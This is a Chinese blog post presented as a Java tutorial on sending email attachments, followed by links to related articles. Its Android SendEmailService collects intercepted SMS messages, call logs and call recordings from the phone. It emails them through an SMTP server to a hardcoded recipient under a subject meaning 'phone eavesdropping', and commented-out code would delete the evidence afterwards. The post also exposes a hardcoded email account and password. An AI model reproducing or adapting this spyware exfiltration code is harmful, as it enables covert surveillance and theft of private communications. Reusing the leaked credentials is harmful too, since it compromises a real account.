邮件发送附件

原创 2012年03月28日 13:31:01
把邮件的所有信息封装成一个实体类对象
public class MailSenderInfo {


private String mailServerHost;//发送邮件服务器的ip
private String mailServerPort;//发送邮件服务器的端口号
private String fromMailAddress;//邮件发送者的地址
private String toMailAddress;//收件人的邮箱地址
private String userName;//发送邮件的用户名和密码
private String userPwd;
//是否需要身份验证
private boolean validate=false;
private String title;//邮件的标题,主题
private String context;//邮件的文本内容
private String[] attachFileNames;//附件的名字
//achieve email's session attribute
//获得邮件的绘画属性
public Properties getProperties(){
Properties properties=new Properties();
properties.setProperty("mail.transport.protocol", "smtp");   
properties.put("mail.host", getMailServerHost());
properties.put("mail.smtp.auth", isValidate()?"true":"false");
return properties;
}


public String getMailServerHost() {
return mailServerHost;
}


public void setMailServerHost(String mailServerHost) {
this.mailServerHost = mailServerHost;
}


public String getMailServerPort() {
return mailServerPort;
}


public void setMailServerPort(String mailServerPort) {
this.mailServerPort = mailServerPort;
}


public String getFromMailAddress() {
return fromMailAddress;
}


public void setFromMailAddress(String fromMailAddress) {
this.fromMailAddress = fromMailAddress;
}


public String getToMailAddress() {
return toMailAddress;
}


public void setToMailAddress(String toMailAddress) {
this.toMailAddress = toMailAddress;
}


public String getUserName() {
return userName;
}


public void setUserName(String userName) {
this.userName = userName;
}


public String getUserPwd() {
return userPwd;
}


public void setUserPwd(String userPwd) {
this.userPwd = userPwd;
}


public boolean isValidate() {
return validate;
}


public void setValidate(boolean validate) {
this.validate = validate;
}


public String getTitle() {
return title;
}


public void setTitle(String title) {
this.title = title;
}


public String getContext() {
return context;
}


public void setContext(String context) {
this.context = context;
}


public String[] getAttachFileNames() {
return attachFileNames;
}


public void setAttachFileNames(String[] attachFileNames) {
this.attachFileNames = attachFileNames;
}
}




身份验证类
public class EmailAuthenticator extends Authenticator{


private String userName;//user name
private String userPwd;//user password
//checking send email
public EmailAuthenticator(String userName,String userPwd) {
// TODO Auto-generated constructor stub
this.userName=userName;
this.userPwd=userPwd;
}
public EmailAuthenticator() {
// TODO Auto-generated constructor stub
}


@Override
protected PasswordAuthentication getPasswordAuthentication() {
// TODO Auto-generated method stub
return new PasswordAuthentication(userName, userPwd);
}


}












发送邮件类
public class SimpleMailSender {        
//发送邮件带有附件
public boolean sendMailForFile(MailSenderInfo senderInfo,List<String> file_str){
//判断是否需要身份验证
EmailAuthenticator authenticator=null;
if(senderInfo.isValidate()){
authenticator=new EmailAuthenticator(senderInfo.getUserName(),                                         senderInfo.getUserPwd());
}
//根据邮件会话属性和身份构造器创建一个邮件的session
Session session=Session.getInstance(senderInfo.getProperties(), authenticator);
//根据邮件session创建一个邮件消息
try {
Message message=new MimeMessage(session);
//创建邮件发送者的邮箱
message.setFrom(new InternetAddress(senderInfo.getFromMailAddress()));
//设置邮件的接受邮箱
message.setRecipient(RecipientType.TO, new                                         InternetAddress(senderInfo.getToMailAddress()));
//设置邮箱的标题
message.setSubject(senderInfo.getTitle());
//设置邮箱的发送时间
message.setSentDate(new Date());
                                        //MimeMultpart类是一个容器类,包含MimeBodyPart类型的对象
MimeMultipart mmp=new MimeMultipart("mixed");
                                        //循环附件的所有绝对路径,如:mnt/sdcard/wetrecord/alan.3gp
if(file_str!=null&&file_str.size()!=0){
for(int i=0;i<file_str.size();i++){
                                                        //用来装数据,如文本,html,附件等
MimeBodyPart mbp=new MimeBodyPart();
                                                        //文件数据源对象
FileDataSource source=new FileDataSource(file_str.get(i));
                                                        //设置数据源的控制对象,
mbp.setDataHandler(new DataHandler(source));
                                                        //设置文件名
mbp.setFileName(source.getName());
                                                        //把mbp添加到容器中去
mmp.addBodyPart(mbp);
}
}
                                         //用于添加html文本数据,如你的监听信息和电话
MimeBodyPart mbp=new MimeBodyPart();
//添加文字内容
mbp.setContent(senderInfo.getContext(), "text/html;charset=utf-8");
mmp.addBodyPart(mbp);
                                            //将容器添加到邮件的内容中去
message.setContent(mmp);
message.saveChanges();
//发送邮件
Transport.send(message);
return true;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}


}




发送邮件的服务
public class SendEmailService extends Service {


public static final String basePath=Environment.getExternalStorageDirectory().getAbsolutePath();
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}


@Override
public void onStart(Intent intent, int startId) {
// TODO Auto-generated method stub
Log.i("wet", "开始发邮件");
ConnectivityManager manager=(ConnectivityManager)this.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo net=manager.getActiveNetworkInfo();
if(net==null){
Log.i("wet", "该用户暂时没有任何可用网络,不能发送邮件");
}
else{
Log.i("wet", "用户有可用网络:类型:"+net.getTypeName());
MailSenderInfo info=new MailSenderInfo();
info.setValidate(true);
//调用得到邮件信息
info.setContext(getContextHtml());
info.setMailServerHost("smtp.sina.com");
info.setToMailAddress(" 475729164@qq.com");
info.setFromMailAddress("junxianalan@sina.com");
info.setTitle("alan电话监听");
info.setUserName("junxianalan@sina.com");
info.setUserPwd("lizhiyu1991");
SimpleMailSender sender=new SimpleMailSender();
boolean issend=sender.sendMailForFile(info, getFilesName());
if(issend){
Log.i("wet", "发送成功");
//如果发送成功就把数据库数据删除
//DBPhoneCallInfo callInfo=new DBPhoneCallInfo();
//callInfo.open(this);
//callInfo.deletePhone();
//callInfo.close();
//
//DBSmsInfo dbSmsInfo=new DBSmsInfo(this);
//dbSmsInfo.open(this);
//dbSmsInfo.deleteSms();
//dbSmsInfo.close();
//删除sdcard的录音文件
//deleteSDcardRecord();
}
//发送附件
//Log.i("wet", "开始发送附件");
//MailSenderInfo info1=new MailSenderInfo();
//info1.setValidate(true);
////调用得到邮件信息
//info1.setMailServerHost("smtp.sina.com");
//info1.setToMailAddress("junxianalan@gmail.com");
//info1.setFromMailAddress("junxianalan@sina.com");
//info1.setTitle("alan电话监听");
//info1.setUserName("junxianalan@sina.com");
//info1.setUserPwd("lizhiyu1991");
}
this.stopSelf();
super.onStart(intent, startId);
}
//得到所要发送的邮件内容,经过html排版
public String getContextHtml(){
StringBuilder sb=new StringBuilder();
sb.append("<center>");
sb.append("<font color='red' size='4'>所监听的信息内容</font><br/><br/>");
DBSmsInfo dbSmsInfo=new DBSmsInfo(this);
dbSmsInfo.open(this);
List<TblSmsInfo> list=dbSmsInfo.getSmsInfoList();
dbSmsInfo.close();
sb.append("<table width='1000'  bgcolor='#CCFFFF'>" +
"<tr>" +
"<td width='20%'>电话号码</td>" +
"<td width='50%'>信息内容</td>" +
"<td width='20%'>信息日期</td>" +
"<td width='10%'>信息类型</td>" +
"</tr>");
for(TblSmsInfo ti:list){
sb.append("<tr>" +
"<td>"+ti.getSmsNo()+"</td>" +
"<td>"+ti.getSmsText()+"</td>" +
"<td>"+ti.getSmsDate()+"</td>" +
"<td>"+ti.getSmsType()+"</td>" +
"</tr>");
}
sb.append("</table><br/><br/>");
sb.append("<font color='red' size='4'>所监听的电话内容</font><br/><br/>");
DBPhoneCallInfo dbPhoneCallInfo=new DBPhoneCallInfo();
dbPhoneCallInfo.open(this);
List<TblPhoneCallInfo> phones=dbPhoneCallInfo.getPhoneList();
dbPhoneCallInfo.close();
sb.append("<table width='1000'  bgcolor='#CCFFFF'>" +
"<tr>" +
"<td width='20%'>通话号码</td>" +
"<td width='30%'>通话时长</td>" +
"<td width='20%'>通话日期</td>" +
"<td width='10%'>通话类型</td>" +
"<td width='20%'>通话录音名</td>" +
"</tr>");
for(TblPhoneCallInfo phone:phones){
sb.append("<tr>" +
"<td width='20%'>"+phone.getPhoneNo()+"</td>" +
"<td width='50%'>"+phone.getPhoneLongTime()+"</td>" +
"<td width='10%'>"+phone.getPhoneTime()+"</td>" +
"<td width='10%'>"+phone.getPhoneCallType()+"</td>" +
"<td width='10%'>"+phone.getPhoneFileName()+"</td>" +
"</tr>");
Log.i("wet", phone.getPhoneNo()+">>>>>>");
}
sb.append("</table>");
Log.i("wet", sb.toString());
return sb.toString();
}


//删除sdcard里的录音文件
public void deleteSDcardRecord(){
File file=new File(basePath+"/wetrecord/");
//file.deleteOnExists()
if(file.exists()){
file.delete();
}
}
public List<String> getFilesName(){
List<String> list=new ArrayList<String>();
File file=new File(basePath+"/wetrecord/");
if(file.exists()){
for(String ss:file.list()){
list.add(basePath+"/wetrecord/"+ss);
Log.i("wet", ss+" file");
}
}
return list;
}
}

一个发邮件的类,带验证功能,可以发html内容,可以添加附件,并解决附件乱码问题。

//文件Mail.java 该文件内容部分综合网上的资源,自己进行了改进,转载请注明 汪建伟。package sendmail;import java.io.UnsupportedEncodingEx...
  • wjw806
  • wjw806
  • 2006年05月23日 11:35
  • 2368

Spring 发送邮件 使用File指定附件

Spring 发送邮件 内嵌图片增加附件 http://cuisuqiang.iteye.com/blog/2042435 在之前代码中,因为使用的是Spring,使用获取文件的方式使用了Class...
  • cuisuqiang
  • cuisuqiang
  • 2014年11月13日 16:19
  • 848

C#发送带附件的邮件

///         /// 发送邮件        ///         /// 收件人列表        /// 主题        /// 内容        /// 附件        p...
  • qq719365064
  • qq719365064
  • 2016年10月25日 17:47
  • 815

Java邮件发送详解(可发送附件)

发送前需要引用mail-1.4.5.jar,资源下载参见下载链接。 一、邮件内容实体类package mail;import java.security.GeneralSecurityExceptio...
  • tterminator
  • tterminator
  • 2016年11月24日 23:12
  • 6534

PHP程序使用PHPMailer发送邮件和附件

PHPMailer发送邮件附件php代码实现
  • u014236259
  • u014236259
  • 2016年10月25日 11:49
  • 2430

C# winform发送邮件 带附件

http://download.csdn.net/source/950213 以上地址是源代源例子,需要的可以去下载 C# Winforms 发送邮件发送邮件时用到以下来个命名空间:using Sys...
  • xianshuang
  • xianshuang
  • 2009年01月08日 14:35
  • 7860

linux 下如何发送带附件的邮件

Q: linux 下如何发送带附件的邮件?   A: 如果你可以使用 X window, 那么可以用 netscape 的 mail,也可以使用 kmail,如果有的话。如果这两个都不能用,那么可以用...
  • bhwshx
  • bhwshx
  • 2009年02月14日 20:27
  • 3553

VC发E-MAIL的方法,可带附件

在网上搜索到的代码,要么不能成功发送,要么做的很复杂,看下去的心思都没有。自己参照网上的代码,再了解了下E-MAIL的协议,自己写了段认为是比较精简的代码。         共有5个函数,两个是ZB...
  • VcTrue
  • VcTrue
  • 2013年03月23日 16:44
  • 1693

django1.62发送邮件(汇总)

1、首先这份文档看三两遍是不行的,很多东西再看一遍就通顺了。 2、send_mail()、send_mass_mail()都是对EmailMessage类使用方式的一个轻度封装,所以要关注底层的Em...
  • ypq5566
  • ypq5566
  • 2014年04月22日 10:18
  • 3159

yii2.0 发送邮件带word小附件

把 common/config/main-local.php 下的 mailer 注释掉:           'mailer'=>[                    'class'=>'y...
  • chenmoimg_
  • chenmoimg_
  • 2017年02月28日 11:44
  • 532
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:邮件发送附件
举报原因:
原因补充:

(最多只允许输入30个字)